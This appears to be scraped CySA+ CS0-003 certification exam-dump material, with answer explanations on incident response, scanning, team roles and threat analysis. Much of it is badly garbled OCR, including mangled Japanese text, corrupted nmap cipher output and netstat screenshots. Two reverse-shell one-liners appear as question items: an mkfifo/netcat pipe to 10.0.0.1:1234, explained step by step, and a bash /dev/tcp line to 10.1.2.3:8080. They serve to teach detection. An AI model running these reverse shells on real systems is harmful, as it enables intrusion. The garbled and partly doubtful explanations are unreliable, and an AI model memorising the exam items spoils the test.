occur. It also gives the specific example of a healthcare organization experiencing a breach of patient records and explains that reporting to regulatory authorities and notifying affected
individuals demonstrates compliance, accountability, and transparency.

Another exact supporting extract states that PHI includes medical records and must be protected in specific ways under HIPAA. It also states that incident response should coordinate with
regulatory bodies for industries such as healthcare.

The official CompTIA CySA+ CS0-003 objectives also place this under incident response reporting and communication, including legal, public relations/customer communication, regulatory
reporting, and law enforcement.

Why the other options are incorrect:

B is incorrect because patient notification is not primarily done to appease stakeholders.

C is partially related, but not the best answer. The direct reason is regulatory compliance.

D is incorrect because communicating with patients is separate from communicating with law enforcement.
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B. youtube.com

C. tiktok.com

D. grnail.com

E. translate.google.com

F. office.com
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*D (" grnail.com ") is a suspicious domain that resembles " gmail.com. "

* The high " bytes out " value (525,984 bytes) indicates potential data exfiltration.

* Attackers often use typosquatting (e.g., " grnail.com " instead of " gmail.com ") to trick users into visiting malicious sites.
Why Not Other Options?

* A (Netflix, B YouTube, C TikTok) # Large downloads, but expected behavior for streaming sites.

* E (Google Translate) # Low data volume, no exfiltration risk.

* F (Office.com) # Microsoft service, no indication of malicious activity.

Reference: CompTIA CySA+ CS0-003, Chapter 5: " Threat Intelligence and Threat Detection, " Section: " Analyzing Malicious Domains and Network Traffic. "
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A purple team is specifically defined as a collaborative approach that combines the offensive focus of the red team (penetration testing/adversary emulation) with the defensive focus of the
blue team (detection/response and defense). That matches the scenario: analysts participate in both pen testing and defending during exercises.

Exact extract (All-in-One Exam Guide):

"purple team A collaborative approach that combines the 'red team' and 'blue team.' The red team attempts to breach the organization's defenses, while the blue team responds to the
simulated attacks from the red team." The Sybex Practice Tests also reinforce this definition:

Exact extract (Sybex Practice Tests):

"...the purple team combines elements of the red team and blue team."

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al.,, CompTIA CySA+ All-in-One Exam Guide (CS0-003): purple team combines red + blue

* Chapple/Seidl, CompTIA CySA+ Practice Tests (CS0-003): purple team combines red + blue
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The most likely reason to include lessons learned in an after-action report is to identify areas of improvement in the incident response process. The lessons learned process is a way of
reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying areas of
improvement in the incident response process can help enhance the security posture, readiness, or capability of the organization for future incidents, as well as provide feedback or
recommendations on how to address any issues or challenges.
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A sandbox environment is a safe and isolated way to analyze malware without affecting the organization's network. An online service can provide a sandbox environment without requiring the
security analyst to set up a virtual host or use an RDP session. Disconnecting and using an existing infected asset is risky and may not provide accurate results. References: Malware
Analysis: Steps & Examples, Dynamic Analysis
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D. nmap-A insecure.org
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The analyst used the command nmap -sV -T4 -F insecure.org to discover the application versions on the vulnerable website. The -sV option in Nmap is used to perform version detection,
which identifies the versions of the services running on open ports. The -T4 option sets the timing template for faster execution, and -F scans only the most common ports.
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EDR stands for Endpoint Detection and Response, which is a layer of defense that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can
protect against external threats regardless of the device's operating system, as it can detect and respond to attacks based on behavioral analysis and threat intelligence. EDR is also one of
the tools that CompTIA CySA+ covers in its exam objectives. Official References:

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://resources.infosecinstitute.com/certification/cysa-plus-ia-levels/
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Thepost-incident review processhelps an organization identify gaps in its response and security posture.

Assigning different departmental groups ensures that flaws inspecific work areas (such as IT, HR, or legal teams)are identified and addressed.
* Option Bis incorrect because not all staff need exposure; the review focuses on relevant stakeholders.

* Option Cis a part of the process, but the main goal is improvement, not just playbook verification.

* Option D(cross-training) is a benefit but not the main objective.

Thus,A is the best answerbecause it focuses on identifyingflaws in specific areas of incident management.
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C. Nmap

D. Wireshark
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OpenVAS is an open-source tool that performs comprehensive vulnerability scanning and assessment on the network. It can generate reports and evidence of the scan results, which can be
used for auditing purposes.

References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 199; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 207.
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A discovery scan is a type of web application scanning that involves identifying active, internet-facing web applications and their URIs, without performing any intrusive or in-depth tests. This
type of scan can help to understand the scope and structure of a web application before conducting more comprehensive vulnerability scans12. References: 1: OWASP Vulnerability Scanning
Tools 2: CISA Web Application Scanning
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The best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach is to determine the sophistication of the audience that the
report is meant for. The sophistication of the audience refers to their level of technical knowledge, understanding, or interest in cybersecurity topics. Determining the sophistication of the
audience can help tailor the report content, language, tone, and format to suit their needs and expectations. For example, a report for executive management may be more concise, high-level,
and business-oriented than a report for technical staff or peers.
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Testing is a crucial step in any change management process, as it ensures that the change is compatible with the existing systems and does not cause any errors or disruptions. In this case,
the change management team failed to test the email client patch on Windows 11 devices, which resulted in a widespread issue for the users.

Testing would have revealed the problem before the patch was deployed, and allowed the team to fix it or postpone the change.

References: 7 Reasons Why Change Management Strategies Fail and How to Avoid Them, CompTIA CySA+ CS0-003 Certification Study Guide

gﬁ:ﬁ: 89

TXAVTATFTIVRDRDAREBLRT I T4 ET1ZRHLELE

rm -f /tmp/f;mknod /tmp/fp;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmpf RDENNT I T A ET 1 ERE IR L TLEITH?

ARy rI—2ERY k

B. RRA FXF+v >

C. tERF 1%

D. J/A\—X Tz )L

Eff:D (AU RERKT D)

The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It
does the following steps:

*rm -f tmp/f deletes any existing file named /tmp/f

*mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f

*cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output

*nc 10.0.0.1 1234 > tmp/f connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe This way, the attacker can send commands
to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.

References

Hack the Galaxy

Reverse Shell Cheat Sheet
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The root cause analysis identifies the contributing items that facilitated the event is the best reason for conducting a root cause analysis, as it reflects the main goal and benefit of this problem-
solving approach. A root cause analysis (RCA) is a process of discovering the root causes of problems in order to identify appropriate solutions. A root cause is the core issue or factor that
sets in motion the entire cause-and-effect chain that leads to the problem. A root cause analysis assumes that it is more effective to systematically prevent and solve underlying issues rather
than just treating symptoms or putting out fires. A root cause analysis can be performed using various methods, tools, and techniques that help to uncover the causes of problems, such as
events and causal factor analysis, change analysis, barrier analysis, or fishbone diagrams. A root cause analysis can help to improve quality, performance, safety, or efficiency by finding and
eliminating the sources of problems. The other options are not as accurate as the root cause analysis identifies the contributing items that facilitated the event, as they do not capture the
essence or value of conducting a root cause analysis. The root cause analysis ensures that proper timelines were documented is a possible outcome or benefit of conducting a root cause
analysis, but it is not the best reason for doing so. Documenting timelines can help to establish the sequence of events and actions that led to the problem, but it does not necessarily identify
or address the root causes. The root cause analysis allows the incident to be properly documented for reporting is also a possible outcome or benefit of conducting a root cause analysis, but it
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is not the best reason for doing so. Documenting and reporting incidents can help to communicate and share information about problems and solutions, but it does not necessarily identify or
address the root causes. The root cause analysis develops recommendations to improve the process is another possible outcome or benefit of conducting a root cause analysis, but it is not
the best reason for doing so. Developing recommendations can help to implement solutions and prevent future problems, but it does not necessarily identify or address the root causes.
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The correct answer is A. Orange team.

An orange team is a team that is involved in facilitation and training of other teams in cybersecurity. An orange team assists the yellow team, which is the management or leadership team that
oversees the cybersecurity strategy and governance of an organization. An orange team helps the yellow team to understand the cybersecurity risks and challenges, as well as the roles and
responsibilities of other teams, such as the red, blue, and purple teams12.

In this scenario, the analyst is conducting monitoring against an authorized team that will perform adversarial techniques. This means that the analyst is observing and evaluating the
performance of another team that is simulating real-world attacks against the organization's systems or networks. This could be either a red team or a purple team, depending on whether they
are working independently or collaboratively with the defensive team345.

The analyst interacts with the team twice per day to set the stage for the techniques to be used. This means that the analyst is providing guidance and feedback to the team on how to conduct
their testing and what techniques to use. This could also involve setting up scenarios, objectives, rules of engagement, and success criteria for the testing. This implies that the analyst is
facilitating and training the team to improve their skills and capabilities in cybersecurity12.

Therefore, based on these descriptions, the analyst is a member of an orange team, which is involved in facilitation and training of other teams in cybersecurity.

The other options are incorrect because they do not match the role and function of the analyst in this scenario.

Option B is incorrect because a blue team is a defensive security team that monitors and protects the organization's systems and networks from real or simulated attacks. A blue team does
not conduct monitoring against an authorized team that will perform adversarial techniques, but rather defends against them345.

Option C is incorrect because a red team is an offensive security team that discovers and exploits vulnerabilities in the organization's systems or networks by simulating real-world attacks. A
red team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather performs them345.

Option D is incorrect because a purple team is not a separate security team, but rather a collaborative approach between the red and blue teams to improve the organization's overall security.
A purple team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather works with them345.

References:

* 1 Infosec Color Wheel & The Difference Between Red & Blue Teams

* 2 The colors of cybersecurity - UW-Madison Information Technology

* 3 Red Team vs. Blue Team vs. Purple Team Compared - U.S. Cybersecurity

* 4 Red Team vs. Blue Team vs. Purple Team: What's The Difference? | Varonis

* 5 Red, blue, and purple teams: Cybersecurity roles explained | Pluralsight Blog
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A HTTP/404 error code means that the requested page or resource was not found on the web server. This could be caused by various reasons, such as incorrect URLs, moved or deleted
pages, missing assets, or server misconfigurations123. The analyst should first identify the source of the requests and examine the related activity to determine if they are legitimate or
malicious, and what actions need to be taken to resolve the issue.

The other options are either premature or irrelevant without further investigation. References: 1: 404 Page Not Found Error: What It Is and How to Fix It 2: 404 Error Code: What Causes Them
and How To Fix It 3: About

404 errors and how to Troubleshoot it?
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The exploit code maturity of a vulnerability is indicated by the E metric in the CVSS temporal score. The value of U means that no exploit code is available or unknown1. The other options are
not related to the exploit code maturity, but to other aspects of the vulnerability, such as attack vector, scope, availability, and complexity1.
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SLA (Service Level Agreement) is the best term to describe the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m., as
it reflects the agreement between a service provider and a customer that specifies the services, quality, availability, and responsibilities that are agreed upon. An SLA is a common type of
document that is used in various industries and contexts, such as IT, telecom, cloud computing, or outsourcing. An SLA typically includes metrics and indicators to measure the performance
and quality of the service, such as uptime, response time, or resolution time. An SLA also defines the consequences or remedies for any breaches or failures of the service, such as penalties,
refunds, or credits. An SLA can help to manage customer expectations, formalize communication, improve productivity, and strengthen relationships. The other terms are not as accurate as
SLA, as they describe different types of documents or concepts. LOI (Letter of Intent) is a document that outlines the main terms and conditions of a proposed agreement between two or
more parties, before a formal contract is signed. An LOI is usually non-binding and expresses the intention or interest of the parties to enter into a future agreement. An LOI can help to clarify
the key points of a deal, facilitate negotiations, or demonstrate commitment. MOU (Memorandum of Understanding) is a document that describes a mutual agreement or cooperation between
two or more parties, without creating any legal obligations or commitments. An MOU is usually more formal than an LOI, but less formal than a contract. An MOU can help to establish a
common ground, define roles and responsibilities, or outline expectations and goals. KPI (Key Performance Indicator) is a concept that refers to a measurable value that demonstrates how
effectively an organization or individual is achieving its key objectives or goals. A KPI is usually quantifiable and specific, such as revenue growth, customer satisfaction, or employee
retention. A KPI can help to track progress, evaluate performance, or identify areas for improvement.
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Transfer is the risk management principle that is accomplished by purchasing cyber insurance. Transfer is a strategy that involves shifting the risk or its consequences to another party, such
as an insurance company, a vendor, or a partner. Transfer does not eliminate the risk, but it reduces the potential impact or liability of the risk for the original party. Cyber insurance is a type of
insurance that covers the losses and damages resulting from cyberattacks, such as data breaches, ransomware, denial-of-service attacks, or network disruptions.

Cyber insurance can help transfer the risk of cyber incidents by providing financial compensation, legal assistance, or recovery services to the insured party. Official References:

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.comptia.org/certifications/cybersecurity-analyst

* https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered
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PORT STATE SERVICE
22/tcp open ssh Cis
443/tcp cpen ssl/ht
_http-server-header: copenresty
ssl-enum-ciphers:
TLSvl.1:
ciphers:
TLS _RSA WITH RAES 1  SHA (rsa 2048) - F
TLS_ECDHE RSA WITH AZ _23_-:Bc__514_n (secp256rl) - F
compressors:
NULL
cipher preference: server
warnings:
Insecure certificate signature (SEAl), s=scbre ‘capped
TLSv1.2:
ciphers:
TLS ECDHE RSA WITH AES I28WCCMASHE256 (secp2S5Sérl)
TL3_ECDHE Rq‘ . WITH JAES 455 _GCM_ SE-:.HES‘! (secp256rl)
TLS ECDHE Q HI“H s 2“’ CBC EHABEé (secp256ril)
TLS_RSA WITE AFS 256 CBC_ ‘*':HJ-.E“E (rsa 2048) - F
TLS_ECDHEURSA WITH_AES ‘24: _CBC 51‘1:-1251‘.‘4 (secp256rl)
Tq 'SE :M SHA384 (rsa 2048) - F
' 8_GCM_SHA256 (rsa 2048) - F
“B" *HHESE (rsa 2048) - F

=

S_:.ES_-:EC_SHA (secp256rl) - F

I‘|l l]j #ll

cipher preference: server
warnings:
Insecure certificate signature (SHAl), score capped at F

_ least strength: F

HAZRLLCHEALTOLEDIERD S ENTITH?

A RX FHBEBILTULVEGELD IHEELTULEREA,

B. "X MELBRIGHESA A — FEETLTVET,

C. RRAMIHRETHVEERSM— FZHAILTLET,

D. ZMHRR b® Secure Shell R— AL OGN TWNVET

IEfR: (EffZzRTLET)

The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites. Cipher suites are combinations
of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the cipher suites that are supported by the server, along with a
letter grade (A through F) indicating the strength of the connection. The output also shows the least strength, which is the strength of the weakest cipher offered by the server. In this case, the
least strength is F, which means that the server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server
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supports SSLv3, which is an outdated and insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken
stream cipher that should not be used.

Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they do not reflect what the output shows. The host
is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The host is running excessive cipher suites is incorrect, as the output does not
indicate how many cipher suites the host is running, only which ones it supports. The Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22,
which is the default port for Secure Shell (SSH). The output only shows information about port 443, which is the default port for HTTPS.
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A threshold value is a parameter that defines the minimum or maximum level of a metric or event that triggers an alert. For example, a threshold value can be set to alert when the number of
failed login attempts exceeds

10 in an hour, or when the CPU usage drops below 20% for more than 15 minutes. By setting a threshold value, the process can filter out irrelevant or insignificant alerts and focus on the
ones that indicate a potential problem or anomaly. A threshold value can help to reduce the noise and false positives in the alert system, and improve the efficiency and accuracy of the
analysis12
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Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console.
Agent-based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local system or network. Agent-based scanning can also
provide the most accurate vulnerability scan results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.
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The vulnerability scan shows that the version information is visible in the http-server-header, which can be exploited by attackers to identify vulnerabilities specific to that version. Removing or
obfuscating this information can enhance security.

References: CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4: Vulnerability Management, page 172; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5:
Vulnerability Management, page 223.
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The correct answer is D. Registry.

The registry is a database that stores system configuration keys and values in a Windows environment. The registry contains information about the hardware, software, users, and
preferences of the system. The registry can be accessed and modified using the Registry Editor tool (regedit.exe) or the command-line tool (reg.exe).

The registry is organized into five main sections, called hives, which are further divided into subkeys and values.

The other options are not the best descriptions of where the analyst can find system configuration keys and values in a Windows environment. config.ini (A) is a file that stores configuration
settings for some applications, but it is not a database that stores system configuration keys and values. ntds.dit (B) is a file that stores the Active Directory data for a domain controller, but it
is not a database that stores system configuration keys and values. Master boot record is a section of the hard disk that contains information about the partitions and the boot loader, but it is
not a database that stores system configuration keys and values.

B[ 101
HHHBHS  KEDT—IDBRY FT—IHITEEINTVESZLIZR DOV, 7TFIR T2 REBEODERREZHEL TS,
SEAE

AT1ERT20HNEERLI-aT Y FEFERL TS,
TRTDFTOENTHFRNEHREL  BEOHIBEDRR LG >TVES I 7AILERFEL TS,
DEXal—YarOPMBREBIZRLEZWESIE, TRTYEYy MEREIUEV ) 9o LTS,


https://www.jpnshiken.com/q/68891-6444118/

N

Active Connections

Proto Local address Foreign address State

TCP 0.0.0.0:22 0.0.0.0:0 LISTENING
ICP 0.0.0.0:23 0.0.0.0:0 LISTENING
TCP 0.0.0.0: 3 0.0.0.0:0 LISTENING
TCP 0.0.0.0:8 0.0.0.0:0 LISTENING
TCP 127.0.0.1:196C 127.0.0.1:22 ESTABLISHED
[sftp.exe]

TCP 192.168.10.21:3866¢C 41.21.18.102:22 ESTABLISHED
[sftp.exe]

TCP 192.168.10. - 66.207.110.49:https ESTAEBLISHED
[svchost.exe]

TCP 192. SE0921%55 6 31.10.100.7:htEps ESTABLISHED
[cmd. axe]

TCP 192.168.40.21:3765 192.1638 .00, 3 E ESTABLISHED
TCP 192.10 -10.21: 32 Blld] G 7 NS0 TIME WAIT

[notepad.exe]
TCP 192.168.10.8 3E.111.16.37: TIME WAIT
TCP 192.168.10.2%%: S &l 32.111.16.37:2 TIME WAIT

Select the command that generated the output in tab 1: [dentify the file responsible for the malicious behavior:
‘ Select command v ‘ O calendar.dat O cmd.exe
O sftp.exe O calc.exe

Select the command that generated the output in tab 2:

m

() explorer.exe () users.txt
Select command v‘ ) svchost.exe




Active Connections

Proto Local address Foreign addres: State PID
TCE 0.0.0.0:22 }.0.0.0:0 LISTENING 1000
TCP 0.0.0.0:23 0.0.0.0:0 LISTENING 1235
TCPE }.0.0.0:443 .0.0.0:0 LISTENING 1466
TCPE ). 0.0 e i 0.0.0.0:0 LISTENING 1566
TCP 27.0.0. e O I 0 RS L ESTABLISHED
[sftp.exe]

TCP 2 . 21238 3 .21.18.102:22 ESTABLISHED
[sftp.exe]

TCP 192.168.10.21: 66.207.110.49:https ESTABLLSHED

[svchost.exe]

I Select command ESTABLISHED
g netstat -bo

ftasklist ESTABLISHED

i net St{:ii:‘- TIME WAILT
farp -a

| nslookup

“taskkill /FI

1 cmd

ipconfig /reset ‘

TIME WAIT
TIME WAIT

Identify the file responsible forthe/MmaliGious behavior:

‘Select command V‘ O calendar.dat O cmd.exe

() sftp.exe ) calc.exe

Select the command that generated the output in tab 2: ) explorer.exe O users.txt

Select command V‘ () svchost.exe




Active Connections

Proto Local address Foreign address State PID
TCP 0.0.0:22 0.0.0:0 LISTENING 1000
TCP 0.0.0:=23 D.0.0=0 LISTENING 1235
TCP 0D.0.0.0: 1.0 .10 :0 LISTENING 1466
TCP 0.0.0.0:8( 0.0.0:0 LISTENING 1566
TCP 2T.0.0:.1: 2 ). 0 ESTABLISHED 2001
[sftp.exe)

41.21.18.102:22 ESTABLISHED mpadie B
207.110.49:https ESTARMGRED 7
.10. 31.10.100.7:hger ff We€apsMsuep

168.10.21:37&! 82.168 '“éi:hhﬁp‘ﬁ- "~ ESTABLISHED
1 \ -

8. 55357 2. 11 6R7: 98 TIME_WAILT

TIME WAIT
TIME_WAIT

Identify the file responsible for the malicious behavior:

| n = e O calendar.dat O cmd.exe
L _Inslookup

=ltaskkill /FI L | O sftp.exe O calc.exe
cmd L () explomerexe () users.txt

Select command ¥ (L D () svechost.exe




18,020
17 K

svchost .exe 26 Console

calc.exe i Console

notepad.exe Console

Select the command that generated the output in tab 1: Identify the file responsible for the malicious behavior:
Select command v ‘ O calendar.dat O cmd.exe
O sftp.exe () calc.exe

Select the command that generated the output in tab 2: O explorerexe O users.txt

Select command g ‘ () svchost.exe




> Get-ChildItem | Get-Filehash -Algorithm MD5

Algorithm Hash File

MD5 372ab227£fd5ea779c211al451881dlel cmd . exe

MD5 173ab22a5d5eal87bb2l2cl14588aaddc calc.ex

MD5S 4lzaba2efdﬁeaﬁ59c2112b4515513ffe? explorer.exe
MD> dfcabld 7fd>ecb79c331ald4ef8dadlos users.txt
MD5 212ac257fd5ea7£9c337ba22babldl£fs calendar.dat
MD5 10adl32ffed0217coc3854a22bab215ck sftp.exe

MD5 33cld41f5edl07bcdd39552d2ball11401 svchost.exe

Select the command that generated the output in tab 1: Identify the file responsible for the malicious behavior:

|Seiect command V‘ O calendar.dat O cmd.exe

O sftp.exe ) calc.exe

Select the command that generated the output in tab 2: O explorer.exe O ‘users it

Select command v‘

() svchost.exe




The baseline hash signatures are:

Hash
aZcdeflc445d3890cc3456789058cd2l
555albbaSd5e6eebb21fel2388ab3221
d4l12abalefdSeaTe9c2112b451881latffe’
90521ccTfd5ea7f9c337ba2lleeddlcl
3ab2l266fd00a7cbc3855a22bab213ba
10adl32ffed0217coc3854a22bab215ck
33cl41£f5edl07bcdd35952d2balll401

h

File

cmd.exe
calc.exe
explorer.exe
users.tCxtC
calendar.dat
sftp.exe

svchost.exe

Select the command that generated the output in tab 1:

Select command

V ‘

Select the command that generated the output in tab 2:

Select command

V ‘

Identify the file responsible for the malicious behavior:

O calendar.dat O cmd.exe
O sftp.exe O calc.exe
O explorer.exe O users.txt

() svchost.exe



Select the command thal genérated the output in tab 11 S ARERLATEe Tie nesp0tsible for the malicious behavior:

~ 1% “®ftalendardat
LaskilEs - sftp.exe
explorer.exe

sychost.exe

Salect the command that generated the cutput in tab 2:

i L

emd.exe
caic.exe
LSers, ot



Select the command thal genérated the outpul in tab 1 Idantify the e responsible for the mahcious behavior:

! ! Trmarnd — == == == .
l" iRt =3 v “r calendardat | cmd.exe i
EAERLIFET T sfip.exe calc.exe

explorer.exe users.ba

s e

¥
oam YL B R . L E :

Select the command that generated the output in tab 2:

Lo

Explanation:

Select the command that generated the output in tab 1:
* netstat -bo

Select the command that generated the output in tab 2:
* tasklist

Identify the file responsible for the malicious behavior:
* cmd.exe



Select the command that generated the output in tab 1: The output in tab 1 displays active network connections, which can be generated using the netstat command with options to display the
owning process ID.

Select the command that generated the output in tab 1:

* netstat -bo

Select the command that generated the output in tab 2: The output in tab 2 lists the running processes with their PIDs and memory usage, which can be generated using the tasklist
command.

Select the command that generated the output in tab 2:

* tasklist

Identify the file responsible for the malicious behavior: To identify the malicious file, we compare the hashes of the current files against the baseline hashes. From the provided data:
* The hash for cmd.exe in the current state (tab 3) is 372ab227fd5ea779c211a1451881d1e1.

* The baseline hash for cmd.exe (tab 4) is a2cdef1c445d3890cc3456789058cd21.

Since these hashes do not match, cmd.exe is the file responsible for the malicious behavior.
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A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve
security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity,
improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a
SIEM, which provides a single pane of glass for security operations. Official References: https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber- kill-chain-seven-steps-
cyberattack
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Agent-based vulnerability scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server
or console. Agent-based vulnerability scanning can reduce network traffic, as the scans are performed locally and only the results are transmitted over the network. Agent-based vulnerability
scanning can also provide more accurate and up-to-date results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.
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The MITRE ATT&CK framework is a knowledge base of cybercriminals' adversarial behaviors based on cybercriminals' known tactics, techniques and procedures (TTPs). It helps security
teams model, detect, prevent and fight cybersecurity threats by simulating cyberattacks, creating security policies, controls and incident response plans, and sharing information with other
security professionals. It is an open-source project that evolves with input from a global community of cybersecurity professionals1. References: What is the MITRE ATT&CK Framework? |
IBM
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bash -i > & /dev/tcp/10.1.2.3/8080 0 > & 1
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A. #!/bin/bashnc 10.1.2.3 8080 -vv > dev/null & & echo "BEEDHS 7YV T4 ET 1" llecho" OK"

B. #!/bin/bashps -fea | grep 8080 > dev/null & & echo " BEENDHDT7 YU T4 ET 4 "llecho" OK"

C. #!/bin/bashls /opt/tcp/10.1.2.3/8080 > dev/null & & echo " BEDH STV T4 ET 1 "llecho" OK"

D. #!/bin/bashnetstat -antp Igrep 8080 > dev/null & & echo "BENDHDT7 YV T4 ET 1" echo" OK"
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The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script
option D uses the netstat command to check if there is any active connection to that IP address and port, and prints "Malicious activity" if there is, or "OK" otherwise. This is the most accurate
way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.

ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page

339.Reverse Shell Cheat Sheet, Bash section.
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Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs is the best action to address the reporting issue. Reporting
SLAs are service level agreements that specify the time frame and the format for notifying the relevant authorities and the affected individuals of a data breach. Reporting SLAs may vary
depending on the type and severity of the breach, the type and location of the data, the industry and jurisdiction of the organization, and the internal policies of the organization. By
researching and documenting the reporting SLAs for different scenarios, the organization can ensure that it complies with the legal and ethical obligations of data breach notification, and avoid
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any penalties, fines, or lawsuits that may result from failing to report a breach in a timely and appropriate manner12. References: When and how to report a breach: Data breach reporting best
practices, Incident and Breach Management
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XDR logs will confirm the malware infection because XDR is a system that collects and analyzes data from multiple sources, such as endpoints, networks, cloud applications, and email
security, to detect and respond to advanced threats12. XDR can provide a comprehensive view of the attack chain and the context of the malware infection. Firewall logs, IDS logs, and MFA
logs are not sufficient to confirm the malware infection, as they only provide partial or indirect information about the network traffic, intrusion attempts, or user authentication. References:
Cybersecurity Analyst+ - CompTIA, XDR: definition and benefits for MSPs| WatchGuard Blog, Extended detection and response - Wikipedia
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The Cyber Kill Chain methodology provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage. It is divided into seven stages:
reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. It helps network defenders understand and prevent cyberattacks by
identifying the attacker's objectives and tactics. References: The Cyber Kill Chain: The Seven Steps of a Cyberattack
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Reconnaissance is the first stage in the Cyber Kill Chain and involves researching potential targets before carrying out any penetration testing. The reconnaissance stage may include
identifying potential targets, finding their vulnerabilities, discovering which third parties are connected to them (and what data they can access), and exploring existing entry points as well as
finding new ones. Reconnaissance can take place both online and offline. In this case, an analyst finds that an IP address outside of the company network is being used to run network and
vulnerability scans across external-facing assets. This indicates that the analyst is witnessing reconnaissance activity by an attacker. Official References: https://www.lockheedmartin.com/en-
us

/capabilities/cyber/cyber-kill-chain.html
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A. function x() { info=$
B. function x() { info=$

geoiplookup $1) && echo "$1 | $info" }

ping -c 1 $1 | awk -F "/" 'END{print $5}') && echo "$1 | $info" }

C. function x() { info=%(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" {print $1} ").origin.asn. cymru.com TXT +short) && echo "$1 | $info" }

D. function x() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" }

IEfR: (EfZzRTLET)

The function that can be used on a shell script to identify anomalies on the network routing most accurately is:

function x() { info=(dig(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" "{print $1} ' ).origin.asn.cymru.

com TXT +short) & & echo "$1 | $info" }

This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the
hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP
address. The function then prints the IP address and the ASN information, which can help identify any routing anomalies or inconsistencies
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User behavior analysis (UBA) is the most effective method for detecting abnormal account activity.

* UBA uses machine learning and behavioral analytics to identify patterns in how users interact with systems. If an employee suddenly logs in from an unusual location or accesses resources
outside of their normal behavior, it raises an alert.

* Option A (Malicious command interpretation) is focused on malware analysis, not user behavior.

* Option B (Network monitoring) detects anomalies at the network level, but does not specifically focus on user behaviors.
* Option D (SSL Inspection) is useful for decrypting encrypted traffic, but it does not analyze user activity patterns.
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The signature of the malware is a unique identifier that can be used to compare it with known malware samples and their behaviors. Open-source threat intelligence sources provide

O 0w

information on various types of malware, their indicators of compromise, and their mitigation strategies. By cross-referencing the signature with these sources, the analyst can determine the
type of malware and its telemetry. The other options are not relevant for this purpose: configuring the EDR to perform a full scan may not provide additional information on the malware type;
transferring the malware to a sandbox environment may expose the analyst to further risks; logging in to the affected systems and running netstat may not reveal the malware activity.
References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, one of the objectives for the exam is to "use appropriate tools and methods to manage, prioritize
and respond to attacks and vulnerabilities". The book also covers the usage and syntax of EDR, a tool used for endpoint security, in chapter 5. Specifically, it explains the meaning and
function of malware signatures and how they can be used to identify malware types1, page 203. It also discusses the benefits and challenges of using open-source threat intelligence sources
to enhance security analysis1, page 211. Therefore, this is a reliable source to verify the answer to the question.
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The error messages point to two core issues common in cloud assessments:

* Authentication error # credentials/AP| access not correctly configured (keys/tokens/CLI auth).

* Instance not found on preset location # the tool is looking in the wrong region/location (cloud resources are region-scoped).

Cloud infrastructure assessment tools typically require API-based access and allow configuration to include

/exclude regions. The All-in-One guide explains that cloud tools like Scout Suite and Prowler work via cloud APIs and require configuration to enable programmatic access, and Prowler
specifically can include/exclude regions:

* Exact extract (All-in-One Exam Guide): Scout Suite "works by managing the interactions with cloud assets via the platform API..."

* Exact extract (All-in-One Exam Guide): "Prowler offers a fair amount of configuration to allow the tool programmatic access via the Amazon API..."
* Exact extract (All-in-One Exam Guide): Prowler "provides the option to... include or exclude certain AWS services or regions..." These extracts support why the fix is to set the correct region
and ensure valid authentication/keys, which maps directly to Option C (set_regions ... and set_key).

